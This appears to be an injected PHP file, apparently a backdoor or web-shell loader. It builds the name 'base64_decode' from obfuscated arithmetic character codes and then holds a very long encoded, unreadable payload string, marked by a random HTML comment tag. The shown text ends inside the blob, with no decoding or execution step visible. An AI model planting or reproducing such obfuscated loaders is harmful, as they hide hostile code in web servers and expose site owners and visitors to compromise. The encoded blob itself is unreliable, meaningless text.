<!--FyHRTnzT-->
<?php $tzl = array((((98 + 7) - 7 - 16) + 16),((((((97 - 6) + 6 + 4) - 4 + 7 + 8) - (7 + 8) + 9 + 10) - (9 + 10) - 20) + 20),(((115 - 5) + 5 + 6 + 8) - (6 + 8)),(((101 * 101) / 101 + 3 + 2) - (3 + 2)),(((54 * 54) / 54 + 15) - 15),(((52 * 26) / 26 + 5) - 5),((((95 - 17) + 17 + 8 + 1) - (8 + 1) - 14) + 14),((((100 + 14) - 14 - 8) + 8 + 8) - 8),((((((101 - 11) + 11 + 9 + 2) - (9 + 2) + 2) - 2 * 1) / 1 + 6) - 6),((((((99 + 10 + 4) - (10 + 4) * 1) / 1 * 3) / 3 + 2 + 10) - (2 + 10) - 14) + 14),((((111 + 14) - 14 + 7) - 7 + 9 + 5) - (9 + 5)),((((((100 + 3 + 3) - (3 + 3) + 19) - 19 + 12) - 12 + 4) - 4 - 6) + 6),((((((101 * 1) / 1 - 11) + 11 - 3) + 3 - 1) + 1 + 1 + 6) - (1 + 6))) ; $uxg = '' ; foreach ( $tzl as $eyd ) { $uxg .= chr( $eyd ) ; } $lyy = 'Z&[FY

 W&
YOEQOUUVY0F@(I	FHETU	]+S\KUCNi]BVD
WY

M+R\G@P^MQgK"Pi ePTN	_]YG _WMGXD(\QFH
ZMO&
YIWAQHlYIRb>H^L0P9
X.V^A4SCJR^0T	SZPo?[kK"> ;	(_SCIdHSCR^0ASZPo?Q:SCBb>=U2-"~^A.n-P[DH^+LPH^5kTW9R^kJ6Y6R^R^X;@^R^-R^6^ZJR^0PSZP>U@xIJPHUHlYIRm<b!Ex"#R^*WSoCYR^C&CCJK5^ZYPY&T^IC"En*9X/'nT10j?H^=JPHUHlYIRmIH^"e2#k!_u<SC%R^)z^ZYPY&ASZP9WHTDIHP*BDJ(H^C&NPH^#T^ZYP[DH^+ZRGH`?&c11La!_i)!Z 5 S+)a?Mq0F<WH^X;DQ*2d1"3 7#$c7m=u+2CYR-H^EYPY&	F^IC"n7;+2nT10j^A?=JPHUHl_CJK,e7 61R^7?1d"P[0RUSiDQ,`*#DWHa?,"2'WHu0SCJR^0XSZPWH 7HP*A DJ #A8iLSC/Fz5WSn-JR^0ESZPU/R..<D7T#7y^ZR^u.gYP[DH^+WPH^6dTW[K9@#SCLB8W.aCYRiDH^+DRGHPIC[RgW^IC$DH^+GRGHQ1!C[RgDJ>P[1H^!C[Rg	DJ=ER^:^X;U^R^-JPGmDH^+YRGHi(SCJR^RUSi DQ#%JPH^C&_CJK(f^ZYPY&E^ICR^(WScCYR^C&GCJK ~DSC(U^R^-["/l _USiRGHP!"@ 0#S57q aQG,o3WSl5JR^RUSiRGHjKSCUHlYIRaKH^ZC[Rg
DJ=E^C&YPH^MSCJR^0DYIRUHlYIRUHlGCJK3WSCYR^C&FPH^TDSCJR^0Q	SZP%i^ADIHP*HDJP[8H^IJPHUHl
YIRhR^X; A^R^>QYJR^0F
SZP%O^ADSCJR^0ZSZP?_^ADIHP*NDJ4&H^C&APH^?tHR#2WHR1&4DT7WS`^/U	!Y:&T F2nWSrTP[H^9JP1LHH^[P[@H^+DPH^&YMSCJR^0Y  YIR\(H^IC[Rg
DJ0LV\eJPGuWSqCYR^ASC(S^R^#kHz< #WHI!'wCYR^C&UPH^+WSgP[DH^+XRGHc>>O4QA-X-\%7Q&Z@b\fq"E/k;^Q:=;R_.a5/V3Q*60 _eJp+P1(E;Ta\POR^6]0_f#9WHQ&Z@~8u	r%0DUSiDQ)7JPLQ)D-2/cIC[Rg	DJ0R^V]GJP#Q]~JP2WH
^Z
PY&GSZP@PJ"_E8M(
SC(W^R^qCYR /UV: Z^A>SCNR^USiRGHQ>SCN[J9WS_E8M^A3JPLWH]^X;I^R^JPDH^+CRGHP^ZJR^RUSiDQSC/8^C&FCJK7~^ZYPY&Z
SZP^A(IHP*_DJ//P(_^Z8$T^ZYP[DH^+ERGHQ(IC[RgDJ+H^C&\CJK>WSCYR^C&X
PH^H^+WRGHxE^ ]WSECYRI^C&_PH^$^HW3 Ca)X2JPH^C&APH^$^HW3 Ca)X^Z/HWH^X;B^R^[CYRqDH^+^RGHUSi
DQ2JP?Q+WSFWH\DSC(]^R^?X.R^w^ZJR^0]SZP>_DH^IHP*\DJ56HWH^X;T^R^%]/W:Ec/7T6qI.nG9
_Q.-0;W 7y.n5N#n+(-x';NaX5#p3Q^Z
9b!&G+#Gj^A	[P[OH^=wCYR^ADSC(JHGSr5HUHlFCJK(H^5CYR^C&\PH^>@R#! \:^f,t8zI5kDzVEZ.03x.-r5k(M`2%2t-H^x'P[!Edi9{3T
9b!&G+#Gj	^B%JR^RUSiDQ=%JPWH^X;_^R^gYJR^0XSZP9_DRUSiDQ%YPY&ASZP"7 i.E>0LL^A #Z8WH^ZYPY&T^ICR^>WSYPY&GSZP/oIRUSiDQ:JPH^C&L PH^5dISCJR^0UYIR^^A8IC[RgC^ICR^qISC(H^R^XCYRzIH^+LRGHiIC[Rg	K^IC'R^.DSC(U	HGSfCYR_DRUSiDQ)5YPY&Y^IC'^ADSC(R^R^SC(UHGSgCYRyDH^IHP*[HGSgCYRyDH^IHP*[ HGSHP*THGSgCYRyDRUSiRGHdK.OER^_WS <&H^C&@PH^8/ o3wH^DJPHUHlACJK.]e-a/@j.JP wH^DC[RgI^IC Gb WSTA-iDRUSi DQ.F`CYRL 8_
SC8WH^ZYPY&ISZP"
/j.E>0LL 8_;JPWHDSC(S^R^ACYRDH^+XRGHd^ZV-WHQKD CYR`(RWSC[RgDJ3E#L 8_
;ZCYR^ADSC(R^R^#2,oi>MB= M^A6CYR^C&BPH^bDIHP*^DJ3E/A]O,gYP[DH^+PRGHdK"B= K^A6CYR^C&UCJK.H^F`."T
5t@ o3 w_^X;DQ2xiOH^-[">_DRUSiRGHx:Z$H^FECYRI^C&DPH^WS~CYRyDH^+YRGHW1SC6R^RUSiRGH~(IC[RgF^IC.-jIH^-JP"vd/RCYRy^ADIHP*V
DJ=/' 8}a2R^rDIHP*LDJ>/?AH^GJP<^C&XCJK 7aI-a*o/W8IC[RgC^IC-T
5bDIHP*NHGSl	b^A(IC[RgDJ 0DO!]a1JR^0RYIRb@^Z>&HWH^X;J^R^aU-
0]}^Z%JR^RUSiRGHR.EX<E<WH75CYR^C&CCJK8,-E;yDH^IHP*UHGSHP*ZHGSHP*LDJP[.^]!FV9R^.WSCYR^C&ZPH^dHnV9WHi8SCJR^RUSiDQ#
/Gv	5rDIHP*]HGSHP*]DJLN.DSC(Z^R^[2,`+i^Z%P[DRUSi DQ #JPWH^X;Q^R^=wYJR^0Z	YIRUHl YIRi8R^X;B^R^%JP4WH^ZYPY&	V
SZP$yDH^IHP*@HGSb#P[W:E`P[! xT5gf#FY^A.^C&UCJK)H^JPEs^C&WCJK(]
q2{H:V!6Z+7L8KIn&V(Q.> $0(y^Z"H^-JP-rL?`0IHP*U DJ-EWHx^X;B^R^%]/W:Ec/7T6qaP[Ik;U
&[9@ ,d-1K6^@ET	%[H^JPLqH^IC[RgDJ-_'_.bT`/W>A=/?5]u
q2P[ ^?DJP`^A#G>UHlYIRiKVF3`6	,
k;y5\.,ti6dSCG/`3j!&F  0(yJP"6k3AJP%WH`0SCJR^0Y	YIRqH^DJP>UHl[CJK^C& LPH^#WSeTJR^0ZSZP1iRUSiDQ(F2npH!S<5w-G#NT-z](U	!a!=_#0E.H^+U
LqRWSC[RgC^IC>K{l0GZ!9@3Z.-rI#?R#!Z),lP[020gCYRWDH^+[RGH*SCGHUHl YIR|(H^JPHUHl
_CJK(]
q2{H:V!6Z+7L8KIn&V(j.>/?M 7a	[1@R^&t3R3Ba^A!>4$R^&WSC[RgDJ-P[H^D}CYR|( WSC[Rg\^IC&Gt/R'F ]!-_6t"@Ik;U
&a.#,|.-j	^,SC@R^&t3R3Ba!%)SC$<WH^X;DQ0/3R^>\^ZYPY&
CSZP9kIRUSiDQ=%YCYR^C&YPH^>@R#! \:^f,t8zdDW<5[>E #NT--r6k+R	"Bq>%E#.-rL?WSe-P[DH^+@PH^&TISC<1i^ASCJR^0IYIRt*H^DJPHUHl_CJK=>C=QP[I5dLDz2%@[>:0<d=itW3CBq>!\ ,|--i@9e+3JP9l!WSuCYR_^ADSCJR^0] YIRiKVF3`CYRM,WS1~#SCQH)Q:@>0M^A#JP_^C&UPH^+b:uP[DH^IHP*UHGSz7GR^RUSiDQ=%F GI5dLDz2%@[>:0<d=iH^~6|
jK^;T^A02!R^*jSC84^A2SC(M^R^%]/WSR'F [)FFl	?^^Z*/iQC[Rg^^IC3$W7,TDSCJR^0DYIRt*_WSC[Rg	C^IC;&^A77QCYRDH^+Y	PH^#LW3&CtKWSC[Rg^^ICPY&KSZP%|MWSu5GR^$USiRGHb8SCJR^RUSiRGHHA]=/'P6[,\>AXj2L>#,5,T?_94RUSiDQ#CYRP#]f^Z2H^+RPH^#`^ZTP[DH^+WRGHw(SCHUHlYIRiKVF3`6	,
k;yP[8H^IHP*_HGSy5 a.^WSZ4$<WH^X;H^R^=JP2H^+PPH^>@R#! \:^v,xFv	tTY.Z@#8zdT	1WHi-D_C[RgG^IC>WH2SC(]^R^%]/W:E|63_^A)5YPY&VSZP%_^AI?HP*Z
DJ5ELM(euU"U?PK.ZD~}.q/Bj2L>#,=>\77QYP[DH^+]RGHw^Z5P[RUSiDQ5SC$E^C&CPH^#`I:uP[DH^IHP*BHGSR#F`KH^A^  WH^X;DQ3/G^AaCYRm^ADSC(NHGST	1b(R^X;I^R^["/WHbDIHP*[HGSR,b^A(IC[Rg]^IC=T5bDSCJR^0BYIRt*_WSC[Rg
DJ &^C&ZCJK(]
q2{H:V!6ZCYRw.^X;DQ6t."	^ASC'&WHz^ZYPY&A^IC>2H^+BRGHbKMC 0#M,WS!-v 7R#Z T ,dT."vd/RCYR|
iE> @P8f@SC>R^^ZYPY&ASZP<_^AISC<R^0^YIRiKVF3`6	,^?UV-[^ux-2WH_.L,U?i-- &v:DSC(]^R^0gCYRW^ADSC(R^R^8eTP[DH^+RRGH^Z7GHUHlYIRt*_WSC[RgDJ &|]I.aQG9n+ZP>! -?'T'bqoMXz>:Y=/?B#7b@"`609l!pIJPHUHlYIRiKVF^Z P[>9F71~#UFR^)Q:@>P[>F#YCYR_^C& FCJK=>\77QYP[DH^+WPH^#`^ZTP[DH^+W	RGHw(rE@#8I8`6B,Yz1&Z?$N'aJP1K6U
9\=H^E`CYRn<6G6SC6EWHx^X;\^R^%]/W:Ec3M]i_U1U7i>CCYRbH^JPUHlBCJK=>\77QYJR^0\YIRt*H^DC[RgDJ($E^C&BCJK(H^5CYR^C&CCJK(.DSC(^HGSg%P[DH^IHP*ODJ56R^RWSC[Rg	DJP[K_^X;^^R^TP[DH^+OPH^WSTP[DH^+\RGHQ.2JPWHQ8SCJHUHl YIRi8H^IC[Rg
U^IC;D>^@ yP[@R(SCJHUHlYIRj%WS@CYRZ- T^X;A^R^0gJR^0TSZP9	L*WSo<%wVG%JPH^C&GCJK+(u^ZT-!WH\SC(_HGSr5R^RUSiRGHHAx>/;B 8W8c2:Q@H^ W5P[DRUSiRGHg."JP[K)]#'.%1W?rDIHP*U	HGSfCYR_^AI?HP*B
DJ(F@WHfJPN8WS]CYR^C&DCJK/(OSC>4DH^+TRGHw(JPHUHlYIRtHZg#|-R^8}I;_]i^ADIHP*KHGScW!Y9Y0YPY&D^IC3R^>WSYCYR^C&Q PH^{3S,P[RUSiDQSC0^C&\PH^WS~%JR^0XSZP^AIHP*_HGSU,HUHlYIR|( }:YPY&^^IC3$WH\SC(LHGSU#R^RUSi	DQ<wYPY&X^IC=yDH^+GPH^!w EHP*JDJD;WH@^X;T^R^qP[DH^+X PH^{^ZP[DH^+LRGHxEZ 0N#+CSC^AMJP&WDH^+TRGHi^Z	NWHjK!JPHUHlYIR|(H^JP;{RWSC[RgX^IC3$WH\SC(N
HGSzJR^RUSiDQFJPDWH\^X;U^R^U R^0ZSZPWHHHP*MDJP[K^D^X;DQSCDR^!WSEC[RgDJ0LB.DSC(U^R^q]y^ADSCJR^0[YIRb^A.SCBR^USiDQ3R^.WSYPY&P^IC2WH
-aCYR@ ^Z*GR^0BYIR[>VWSO 6H^C&FCJK#8WSPY&FSZP@W8IJPHUHlXCJKH^34WH^ZYPY&F^IC-"H^+LRGHR>ML 6H^C& PPH^t@o3ZJ!WSC[Rg
G^IC2 H^wYJR^0VSZP/WHdLSCR^0_YIR[J!@^X;K^R^q]yDRUSiDQ3P[ 8KCYRv^AISC(LHGSU#N\8R^X;_^R^.aQR^0]YIR\>H^JPUHlYIRY>VI5JPH^C&DCJK8WSpR^,WSCYR^C&YPH^t@R%JHUHlYIRb.H^AJPUHlYIRY>VI5CYR^C&WPH^^ZUP[Ip^ZPP[DH^+P RGHP>MOCYR\8R^X;^^R^.aQR^0DYIRY>VI^Z P[8H^IJPHUHlFCJK(
 wCYRDH^+NRGHi.AJPUHl[CJKH^3R^.^ZYPY&\SZP@j.SCZJ!WSC[RgDJ/DT([.r3i^Z7HUHl[CJK2aq!AR^0GYIRY>H^ML P[8R^X;DQ6JPHWH^X;\^R^qCYR H^wCYRDH^+CRGHxIC[Rg DJ>0A#8}ISC( PHGSRV:HUHlUCJK#]a,
^A@SCR^0JYIRZ.)C3RUH^[P[DH^+EPH^+WSgCYRW7,TDSCJR^0KYIR|^A(JP UHlYIRtH^IC[RgDJ56R^RWSC[RgDJ(F@\W8_CYR	H^+\RGHUSiRGHxEZ 0N#+Cn.R^6 (SCR^0[YIRZ.)CSC6R^RWSC[RgT^IC<	tSC/WHw	 o3sR^X;^^R^nCYRv^ASC(P^R^?[UP[tl b.ZX#pCYRH,\DSC(SHGSzW![VI ZP[5\}[6,oH^HP*WHGSzW![^AM_ AN]e.JP2WH^Z"WHD^ZYPY&@
SZP9/PME <WHEF`-2	WSaJR^0]YIRtJ9IGvp@o	 tJ!_JP'L 8WSZCYRK^C& XCJK5\e_]
^A7T'NY.[EF`P[#(^Z"WHD^ZYPY&U^IC>6	`8 JP{8R*5JPb.WSC[RgQ^IC>R^,I=uU<WHpH%JHUHlWCJK#(_-a.R^5WS`]oLWSR#R^Q9C[Rg
T^IC25WSaPJR^0[SZP@WSl3CR^RUSiRGHP1>@=FLN^A3JP#WHF^X;DQ<|.R^^
q2R^0JYIR|(H^JP;{H^IJPHUHlBCJK^ZYPY&JSZPH^l5P[DRUSiDQYPY&I^IC2T5bDSCJR^0R	SZPODRUSiRGHP>ACYRb^A(SCJR^RUSi
DQJPH^C&[CJK][9\CYRm^AKSC(N^R^&s=!kH;R.C=/'	fO=~=N8l
j-EOE0L][9\1E:A;c.&CL'bNSC>2u@^/o<R^i:MO> P(e;O&%i^ADSCJR^0YYIRw^A 6]4&HWH^X;_^R^;O&P[IH^$gCYRDH^+DRGH| 6YCYRh(R^X;U^R^;O&P[H^rTP[DH^+W PH^ J;SCR^?bDIHP*YDJC[RgDJ0F7~-}- p]5!}?kH:5P[-&WS*HWH^X;J^R^SC(NHGSuP[DRUSi DQ5F`T. JP9;R!.^ 0 WHFFJP#WH^X;P^R^82GR^6J@JPWH WVP[/ZP SCOR^RUSi RGH6JPY^A!SC-R^W>SC"R^RUSiDQ5SCE# 
9
V!SC:R^USiRGH6O//P(fDSC(B^R^82G,A@P>"C>0H<
.n9O^ADSCJR^0JSZP9WHD^ZYJR^0ZYIRt-WSO/R^5[3JP WH^X;O^R^82G,A@P>"C>0H<DSC(^^R^8X&`#H^R#"R^RUSiRGHK"=LL 8_^Z;GjWSaTP[H^+DPH^#^S5JHUHlYIRtK9 ."T
#+W3GR^USiDQ5SC7A7WSlCYRP(WScYPY&GSZP9#PME <N#(G	SC&WHDSC(M	HGSzCYRV;WSW<-WHW>!JPHUHlYCJK5\i_]o0QJ6Z'J8JPGn^ALO\JR^0BSZP9ODRUSi
RGHSC5Y!5[3cCYR^C&X
PH^# #UNaVXSCEL5^ZYPY&	WSZP9V;R^Z<P[#W>SC"HUHl YIRtJ9IGWH}uCYRH^JP2uH^.JP2L^A	eCYR DH^+FPH^#WSX&`#W>!C[RgB^IC;FnZ@TV9Z:V_3{Fz^+W3GWHRK"P[ H^LC[RgY^IC;R^^ZYPY&PSZP9V;WSW<-\>:WSC[RgG^IC;FnZ@TV9Z:V_3{"~^A	SC6^AP[#DDSCJR^0IYIRt-J,lCYRP^A3cCYR^C&QPH^# /UNZ^AKSC9Z:V_3{"~	p@WVtK_,{CYRN^C&QCJK5DSC(W^R^8X&`#W>SC"HUHlYIRtKVD7GT#JP`4H^HP*AHGSzCYRO^ADIHP*SHGSz
5Y^A!.^ 0 WH^X;DQ5F6t/l#Z*VWSD>/B^A5CYR^C&WCJK5WSYPY&ESZP9V;R!.^ P[>:WSC[RgDJ(EN8f.qk@i!JPt^AIJPHUHlECJK5q SC-bt^Z1JR^0GYIRtKE#c-2L	WSeCYR DH^+TPH^#];W<-\>:^X;A^R^8o,Q^Z31Z:VXFZ;DH^+OPH^#];W<-R^WSR#P[,RUSiRGHK@  N8u	u]
H^ zV]!H^9@C[Rg G^IC;DH^+FRGH^Z
5Y!5[^Z 0 ^C&T
PH^#T3P[,W!:JP[VXFZ;GL
k^Z)R^0BSZP9ODRUSiDQ5JP7A7iq1P[DH^+SPH^#T3"\!!_2n5WSqk@i!L(P[RWSC[RgDJ(P[RWSC[RgV^IC;z k#JP^A,IHP*HHGSzW=ZJ>WS@>0H<
.nCYRT#DDSCJR^0BYIRtH^IJPHUHl YIRt-JSC//PH^3cCYR^C&DPH^# 3TW&ZJ-_SC'JH^#GWHeLO\JR^0TYIRtRWSC[Rg	DJ(7A7WSl2mDH^+[RGHK"=LB]D~.U^A?Dl7OR^RUSiDQ5SCR^_%YPY&C
SZP9
/_j MLEN'y	JP~I5`^Z\P[DH^+GRGH^Z	](R^X; L^R^82G,A@V>B*4LWHXFZ;R^WSCYR^C&[PH^#];W<-WHW>!C[Rg]^IC;GnI6J@TW9Eb5FJP'J8SC(P^R^8X&`#W>!JPHUHlYIRtJ5[2p^Z] ^A7Dl	At^AK&D EN^C&LCJK5WSt-WHi^Z2m^ADSC(BHGSzW-[^AML0LN,
q9
^A+W3GUHl
ZCJK5q n>^A,SCJR^0ASZP9/PMEE;P,
q)R^5kT7P[@RKBCYRt^AIJPHUHl]CJK5q SC-bt,SCJR^0ZYIRtJ9IGvp@R#:[>VI3l6H^9ODRUSi DQ5SC7A7iJP2mDH^+FRGHK"=LP8uKn)/Q*LC[RgDJ(7WHJSC//P(WScYPY&Q^IC;GnI6J@UW5Z.>E^Z>P[>C^Z$M^C&TPH^#]^Z&`#W>!JPHUHl	ZCJK5]eI-O] `+K&D R^_WS@C[RgQ^IC;z WSn>WHt^Z1P[DH^+OPH^# #UNY.&E #R^_86oIUSiRGH6O//P(fDSC(\^R^8>Q@WSW3>[!D #;GjH^aCYR^ASC(H	HGSz
5R^R!.^ 0 ^C&^CJK5\i_]o0P>E=$LS^AFZ;^ADSC(Q^R^8X&WHk#R#"HUHlGCJK,)y3"]""'k;#a/SCHUHlYIRtK9 2n5tJPkLH^TVBR^USiDQ5F`T.t/l#Z*VE3`P[#(G	eQ
LH^HP*RDJ(D#B

*{@W>9@D7WH_d"6^Z]/_DH^IHP*RDJ(P[K9 2T!p@S#t!EoCYR^C&BPH^#/DoN]>G5F`P"6WSCYR5T^ZYJR^0BSZP9/PMEE;P,
q)/`Q*A\E@WH^^X; M^R^82G,A@j.SCtK=A#"T
t^Z2P[ #^^Z*U^A IHP*KHGSzV!Ea VXFZCYRL^A5Fd"6@lJHUHl	CCJK5]eI-O]o?]R!9@=ELM^A#;m^A8nCYRnH^.nCYRqDH^+SPH^#/DoN[J-[#gP[(
-a/{@RKB<D;H#]	[,
@i^ZJR^RUSiDQ5F`T.k+zVP[7Q.FCYRbRWSC[RgR^IC;EL
f#T#![ \5YP[5^ZYPY&\SZP ~3%e2cCYRj*-+"]CYR^C&UCJK5]aaUp3W^Z	1Eb/VA#,ZW@H^,~)>{Mx^Z7P[ARUSiRGHf?>|2R^)f+SC$7t+H^"JP^C&\PH^#+W3FYK9!<{/6_$ZUr %W27CYRI29@=ZUR^J^ZR^$`^Z\JR^0_YIRm?%y/p1%&z5=e^ZP[DH^+NRGHJ6^ 0[\@,~)R^8Jn7 s^AT.?WHW5SC R^RWSC[RgF^IC"3r39X?!d759j/WSC[Rg DJ(ER^WSZ$DUH^#N/=u?e} sWS@C[Rg	DJ11?r/u,&e&;'n^AIHP*]DJ(D/P

o?Q:SCBR^Q^ZVP[RUSi DQ5Gl^A
Q>SCNR^USiDQ5Gl
TW5WHQ&D EMH^3JPLWH]^X;DQ5Gl^A
SCG[5kT7Na.F3CYRV^C&UPH^#o3%ZT^ZE#0H^3lCYRA]^ZK#WS_R^#D^ZYP[DH^+^RGHf?>|CYRn)f+'JP7t+9XDSC(]HGSd!?l/Vb,Z3&#j?72aCYRiDRUSiRGHgH6p0't*:'2-'S"a(SCJHUHl SCJK+9[3 `]P[<<:nT3o(H^IC[Rg DJ62r-9WSCYRt+9_!s""&y^ADIHP*SHGSb11?l?Vv*DZ*/EL?8bDSCJR^0PSZP ~3%e2cCYRj*-WSz6!^C&LPH^:u3>`1 j*-WSzCYRj/H^C[RgI^IC;GnI6WSO]
P1>F 3#<DSC(R^R^82G,A@RKBCYRtH^IC[RgDJ(E# WS2n5tJPk^A@SCR^5kzP[DH^IHP*]HGSzW-[H^ME <N#(G	JP& DH^+\PH^#/DoNa.@5FdP[8SC(JHGSzV!Ea V_3Z96 zCYRO^ADSCJR^0W YIRtK9 FWH}I.[CR^#+JPoIUSiDQ5G`
H^*{@W>9@>0H<^ZYPY&JSZP9
Q.!@>0H<WSCYR^C&UPH^#T3"Z.H^2F4LS^ASCEL5^ZYPY&KSZP9
Q.!@ /;T
9ODH^IHP*SHGSzW=ZJ>E#3JPHH^'CYR^C&UPH^:u3>`P[?:a*6z6!WH^X;@^R^8QCYRDH^+RPH^#ZMIHP*I HGSuJHUHlYIR|^A(SCJHUHl[CJK^C&QPH^5]3TCYRi^ADSCJR^0TYIR\^A>SCOHUHl YIR[JH^"_#RH^5CYR^C&GCJK#(uI.gYJR^0UYIRZ.9WSLE3V#H^'JPDH#.WSCYR^C&^CJK=>\^ZYPY&DSZPR^0^YIRwR^X;R^R^8P[$WSO\JR^0XYIRq8R^X;Z^R^;QYP[DH^+U PH^5t?DJP/WHbDIHP*\ DJ>0R^)WS>#^C&SCJK#(uI.gYP[DH^+ZPH^d/SC
^A?l7FR^WSl%P[DH^IHP*MDJ #B]uSC-&	^A	.rP[AH^+\	RGHcIC[RgDJ #B]u^Z
-R^<	.wYJR^0B	SZP/V3Q(IJPHUHl	YIRb%ESC#WH^X;DQ#JP?NH^%JPH^C&_CJK(^ZYPY&I^IC2 OH^+\RGHW>LC[RgA^IC8DH^+ARGH|IJPHUHlYIR\.!^,|R^.^ZYPY&@SZP1WHbIHP*LDJ+R^R^X;I^R^8>AAH^IHP*J	DJ-P[8RWSC[RgDJ+HWH^X;P^R^0gYJR^0_YIRUHl [CJK:H^JPHWH^X;DQ0SC6WH^X;S^R^SC(WHGSr5R^RUSiDQ=%YYPY&BSZP1iRUSi	DQ(5CYR^C&CCJK#]eISC/GvH]3T
%\^A!:JP[^AIJPHUHlUCJK
wYJR^0YSZP 	;e<"xC[RgD^IC\	]IHP*LDJ=/7P ][^ZPY&U^ICFWHW^ZW;"jt<SCJR^0[YIRY1=WS0$WH^X; I^R^ P[JH^+ERGHfI"e2#k^A!Dp!P[+H^2JP<WH^X;DQ,D`7!R^e*,"2R^=WSp-P[DH^+^PH^ ^Z.R^^^Z5P[DH^+[RGHjJSC=WH~SC>HUHlWCJK,e^Z-"T^AK.a5A<^A#TVP[IUSiDQ07QYPY&X^IC>3WH@DSC(L^R^,eCYRS7,WSQYJR^0@YIR{.%^Z-6H^C&_CJK0,[(*G/U[x*6/'W0*e- `6&<z^Z%JR^RUSiDQ=%JPWH^X; DQ:#lWHrASC(P^R^$JPKH^+FRGHw(C[Rg	DJ1#R#H^#ZV-"WHbO=q.BR^&rDIHP*PHGS'$ZJ!#ZP;6z^@ ,!b!%WSFCYRb:.^X;DQ2%/PY&DSZP6oz8SCJR^RUSiDQ6SCR^.^X;DQ=%JP^C&@CJK,e.JP"TK5d(BCYR#Q^ZVP[IH^HP*RHGS#=@WHz8IJPHUHl_CJK0'W^Z2_t@o3 R^WS}%JHUHlYCJK2H^%/PY&TSZP6kQ^Z
-Z>VD#'JPDU
=JP1O^ADSC(]HGSfP[!pIC[RgDJ' S^A05CYR^C&GCJK5;WSwCYR^C&W	PH^#WSgYP[DH^+Y RGHw(JPHUHlXCJK:8iJPyAH^+UPH^?Y
HP*PDJ P[( ^X;DQGJP;WH@^X;DQSCD;WH@^Z+P[WWS@C[RgDJ 0;WHD6PY&P^IC8WH^ZYPY&V^ICPY&VSZP/V7jK @CYR[>H^"JP UHlBCJK\a .aCYR~7 7oV\?VY3JPTWSgCYR^C&RPH^#MJP8R8H^HP*ADJ6"u-H^wYPY&ISZP1i^ASCJR^0X YIRtH[J7 wCYRN^C&YCJK**e4 O%P[DH^+CRGHw^Z5HUHlYIRtH[J7 wCYRN^C&RPH^:WS65 T^A+!b":HUHlFCJK,^a;!Z6"!~^A4SC96_^ADSCJR^0ZYIRtH[J4wCYRN^C&UPH^=fSC:!WHJ^Z%P[DH^+F
RGHw(C[RgK^IC;D !g^Z%P[H^+RRGHg,2|047,
7SC8yAH^+]RGHc^ZG>UHlYIRt^AH@OCYRv-H^5JPUHl PCJK,}("u&"!WHI^ZP[H^$wCYR^ADSC(KHGSfG>UHlYIRtH[J7"E:#^ASC(V^R^&s""$i^AISC<R^0]YIRtH[I^Z*#$N^C&FCJK:WSYPY&BSZP1iH^IHP*Q HGSrCYRiRUSiDQ4cPY&]SZP n/%e8D}C[RgDJ6"u^A-wYPY&PSZP1iH^IHP*U	DJ(FAA7;rSC(Z^R^'sCYRn4;WSO%JR^0FYIR|(H^C[RgR^IC;R^^ :JP!y^ASC(MHGScU%7m=f-SC1R^"WSC[RgDJ1F'z,WSd1#3u7H^7QYJR^0_ YIRtH[J4wPY&PSZP'm"g 5JPHUHl	\CJK=>\DSC( \HGSzUCv-H^5JPUHl	 RCJK(9e,'uCYRz4H^  =!_^AI?HP*VDJ(FAB4H^gPY& Q^IC3$WDH^+RRGHH@L)R^>WS@C[RgV^IC3$W^ADSC(OHGSzUCu:WS@C[RgDJ0"3r-,q>!]]9:Q8H^LHP*HDJ4EWHx^X;\^R^8JPD H^:b%P[H^+QRGHf:g247m-\SC'4^ADSC(UHGSfCYR_I$USiDQ5EJPAA79@9JP#H^+CPH^=v?!gCYRiI$USiRGHH@L*#$N^C& XPH^,T^ZYJR^0QSZP1iH^IHP*QHGSr5HUHlSCJK4f^ZPY&\SZP n/%WS`%P[IH^?HP*@HGSHP*I
DJ-6R^RWSC[Rg@^IC.6k3o39DWHi>2\>P[.ZJP3K5
 .AYP[DH^+LPH^
t3z
9R^j.EJPa!9WSL(LA^A#YPY&KSZP
^A3z
9a.^\ ,`; 5WSAYJR^0RYIR]9WSC(;O 8-nCYRnH^8[CYR^A .AYJR^0VSZP,UPJ6^ ;WHESC4@M#7b^ZYPY&\SZP>V3WST DZFGRP[2WSYPY&YSZP9WHT^ZYP[DH^+CRGHIC[RgQ^ICPY&ISZP9_^ADIHP*VHGSzCYR_DH^IHP*HHGSg5JR^RUSiRGH:SC6R^RUSi DQ5SC44^C&DPH^:/'`!&`IZWSt0P[,:^X;[^R^'p6" WHu@=JP!	7H^!HP*VDJ1G#k^A/`7/E~<H^&pCYRqDH^+RRGHUSiDQ3P[ 8K*P[IH^+BRGH~-=(4M4,^ZPY&T^IC;WH^ZYPY&DSZPR^0QYIRtP#7E;^ADSC(AHGSHP*PHGST#NWHj.YCYRZJ!5NP[ ]u
.q],oH^HP*ODJ(FR^Z GJPWHP5CYRH^C&N	PH^H^+TRGHH@Y<0'4<D`>`
U/]0K4\SC;R^^ZYPY&Q^IC8R^^ZYPY&J SZP9	M d5B+ 0L#v&ZU@8k_U-FCYR]*@7SCDDZ4,L-eU$kH(k!N(3'^A37CYR^C&@CJK5H^YPY&[^IC;DH^+XPH^#WSQYJR^0IYIRbK9,^CYRAH^CYR^C&NPH^5tLnV\?VJ##xR^b^ZYPY&	Y^IC2~ 5^Z2P[IH^+LRGHW>2O>ER^9^X;DQSC?R^%WSFC[Rg@^IC=WHy	SC(T^R^n%JR^0]YIRY!.^X;N^R^8P-+X~*L!M27@`B<~JDJPt^AIJPHUHl @CJK.DSC(PHGSn5JHUHlZCJK6H^CYR^C& [CJK5^#L%:o<i1B6D4<DIbB<}JET)4E <WS	&R^<>,n9|+Vy:LC[Rg K^IC WH^ZYPY&\SZP-iDH^IHP*\DJC[RgDJC[RgDJ'P[H^IC[RgDJ-FZen.,(Yx:@DCYRh P!SC$;H^ASC HWH^X;\^R^=P[N^?l!GCs:[A)Z&v	DDIHP*HDJ4AWH^X;N^R^~6G|WSzCYRODRUSiDQ,`6! n-9u@"cP[H^IHP*OHGSTCYR|IH^IHP*QDJ> DP8WSARPY&
